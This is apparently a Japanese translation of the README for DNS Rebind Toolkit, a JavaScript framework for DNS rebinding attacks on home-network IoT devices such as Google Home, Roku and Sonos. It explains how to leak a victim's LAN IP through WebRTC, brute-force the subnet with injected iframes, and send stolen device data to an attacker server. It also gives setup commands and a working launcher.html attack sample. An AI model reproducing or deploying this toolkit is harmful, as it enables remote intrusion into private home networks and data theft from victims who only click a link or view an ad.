
DNSリバインディング攻撃を作成するためのフロントエンドJavaScriptツールキット。
デモ | セキュリティアドバイザリ | 同梱ペイロード | FAQ
免責事項:このソフトウェアは教育目的のみで提供されています。このソフトウェアを違法行為に使用してはなりません。作者はその使用について一切責任を負いません。嫌な奴にならないでください。
DNS Rebind Toolkitは、ローカルエリアネットワーク(LAN)上の脆弱なホストやサービスに対するDNSリバインディングエクスプロイトを開発するためのフロントエンドJavaScriptフレームワークです。Google Home、Roku、Sonos WiFiスピーカー、WiFiルーター、「スマート」サーモスタット、その他のIoTデバイスなどのデバイスを標的にできます。このツールキットを使用すると、リモートの攻撃者はルーターのファイアウォールを迂回して、被害者のホームネットワーク上のデバイスと直接やり取りし、プライベート情報を外部送信したり、場合によっては脆弱なデバイス自体を制御したりすることもできます。
この攻撃では、標的ネットワーク上の被害者がリンクをクリックするか、悪意のあるiframeを含むHTML広告を表示されるだけで十分です。そこから、被害者のWebブラウザーがプロキシのように使用され、自宅ネットワークに接続されている他のホストに直接アクセスします。これらの標的マシンとサービスは、攻撃者にとってはインターネットからは通常アクセスできないものです。リモートの攻撃者は、それらのサービスが何であるか、被害者のネットワーク上のどのIPアドレスにあるかを知らないかもしれませんが、DNS Rebind Toolkitは何百もの可能性のあるIPアドレスをブルートフォースすることでこれを処理します。
内部的には、このツールはrebind.network:53で稼働する公開whonow DNSサーバーを利用してDNSリバインディング攻撃を実行し、被害者のWebブラウザーをだまして同一オリジンポリシーを違反させます。そこから、WebRTCを使用して被害者のプライベートIPアドレス(例:192.168.1.36)を漏洩させます。このローカルIPアドレスの最初の3オクテットを使用してネットワークのサブネットを推測し、ネットワークサブネット上に存在する可能性のある各ホストにペイロードを配信するために、192.168.1.0〜255から256個のiframeを注入します。
このツールキットを使用して、独自のDNSリバインディング攻撃を開発および展開できます。このツールキットには、payloads/ディレクトリにいくつかの実世界の攻撃ペイロードが同梱されています。これらのペイロードには、Google HomeやRoku製品など、いくつかの人気のあるIoTデバイスに対する情報外部送信(およびリックロールの悪ふざけ)攻撃が含まれています。
このツールキットは、DNSリバインディング攻撃に関する独立したセキュリティ研究の成果です。その元となった研究についてはこちらで読むことができます。
# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
# install dependencies
npm install
# run the server using root to provide access to privileged port 80
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server
デフォルトでは、server.jsはポート8008、8060、1400、80、80でそれぞれサービスを実行しているGoogle Home、Roku、Sonosスピーカー、Philips Hue電球、Radio Thermostatデバイスを標的とするペイロードを提供します。お使いのホームネットワークにこれらのデバイスのいずれかがある場合は、http://rebind.networkにアクセスすると、嬉しいサプライズがあります ;)。開発者コンソールを開いて、これらのサービスが無害にエクスプロイトされ、データが盗み出されてserver.jsに外部送信される様子を観察してください。
このツールキットには、組み合わせて使用することでDNSリバインディング攻撃を作成できる2つのJavaScriptオブジェクトが用意されています:
DNSRebindAttack:このオブジェクトは、既知のポートで実行されている脆弱なサービスに対して攻撃を開始するために使用されます。標的として選択した各IPアドレスに対して1つのペイロードを生成します。DNSRebindAttackオブジェクトは、複数のDNSRebindNodeオブジェクトを作成、管理、およびそれらと通信するために使用されます。DNSRebindAttackによって起動される各ペイロードには、DNSRebindNodeオブジェクトが含まれている必要があります。DNSRebindNode:この静的クラスオブジェクトは、各HTMLペイロードファイルに含める必要があります。1つのホストで実行されている1つのサービスを標的にするために使用されます。自身を生成したDNSRebindAttackオブジェクトと通信でき、DNSリバインディング攻撃を実行するためのヘルパー関数(DNSRebindNode.rebind(...)を使用)と、攻撃中に発見したデータをserver.jsに外部送信するためのヘルパー関数(DNSRebindNode.exfiltrate(...))を備えています。これらの2つのスクリプトは、ファイアウォールで保護されたLAN上の未知のホストに対して攻撃を実行するために一緒に使用されます。基本的な攻撃は次のようになります:
http://example.com/launcher.html)を被害者に送信します。launcher.htmlにはDNSRebindAttackのインスタンスが含まれています。http://example.com/launcher.htmlがiframeとして埋め込まれたページにアクセスします。これにより、launcher.html上のDNSRebindAttackが攻撃を開始します。DNSRebindAttackはWebRTCリークを使用して、被害者マシンのローカルIPアドレス(例:192.168.10.84)を発見します。攻撃者はこの情報を使用して、被害者のLAN上の標的とするIPアドレスの範囲(例:192.168.10.0-255)を選択します。launcher.htmlは、被害者のサブネット上のIPアドレスの範囲に対して、単一のサービス(例:ポート8008で利用可能な非公開のGoogle Home REST API)を標的として、DNSリバインディング攻撃(DNSRebindAttack.attack(...)を使用)を開始します。DNSRebindAttackはpayload.htmlを含む1つのiframeをlauncher.htmlページに埋め込みます。各iframeには、攻撃対象のIPアドレスの範囲内の単一のホストのポート8008に対して攻撃を実行する1つのDNSRebindNodeオブジェクトが含まれています。この注入プロセスは、攻撃の標的となっている各IPアドレスに対してiframeが注入されるまで続きます。payload.htmlファイルは、DNSRebindNodeを使用してwhonow DNSサーバーと通信することにより、リバインディング攻撃を試みます。成功すると、同一オリジンポリシーが違反され、payload.htmlはGoogle Home製品と直接通信できるようになります。通常、payload.htmlは、標的デバイスに対していくつかのAPI呼び出しを行い、攻撃を終了して自身を破棄する前に、結果をexample.comで実行されているserver.jsに外部送信するように記述されます。なお、ユーザーのネットワーク上に未知のIPアドレスのGoogle Homeデバイスが1台あり、192.168.1.0/24サブネット全体に対して攻撃が開始された場合、1つのDNSRebindNodeのリバインディング攻撃が成功し、254個は失敗します。
攻撃は、連携して動作する3つのスクリプトとファイルで構成されます:
DNSRebindAttackのインスタンスを含むHTMLファイル(例:launcher.html)payload.html)。このファイルは、標的となる各IPアドレスに対してDNSRebindAttackによってlauncher.htmlに埋め込まれます。server.js)launcher.html以下はHTMLランチャーファイルの例です。完全なドキュメントはexamples/launcher.htmlにあります。
<!DOCTYPE html>
<head>
<title>Example launcher</title>
</head>
<body>
<!-- This script is a depency of DNSRebindAttack.js and must be included -->
<script type="text/javascript" src="/share/js/EventEmitter.js"></script>
<!-- Include the DNS Rebind Attack object -->
<script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
<script type="text/javascript">
// DNSRebindAttack has a static method that uses WebRTC to leak the
// browser's IP address on the LAN. We'll use this to guess the LAN's IP
// subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
// targetting all IP addresses from 192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leak trick didn't work (doesn't work
// in some browsers). No biggie, most home networks are 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
// The first argument is the domain name of a publicly accessible
// whonow server (https://github.com/brannondorsey/whonow).
// I've got one running on port 53 of rebind.network you can to use.
// The services you are attacking might not be running on port 80 so
// you will probably want to change that too.
const rebind = new DNSRebindAttack('rebind.network', 80)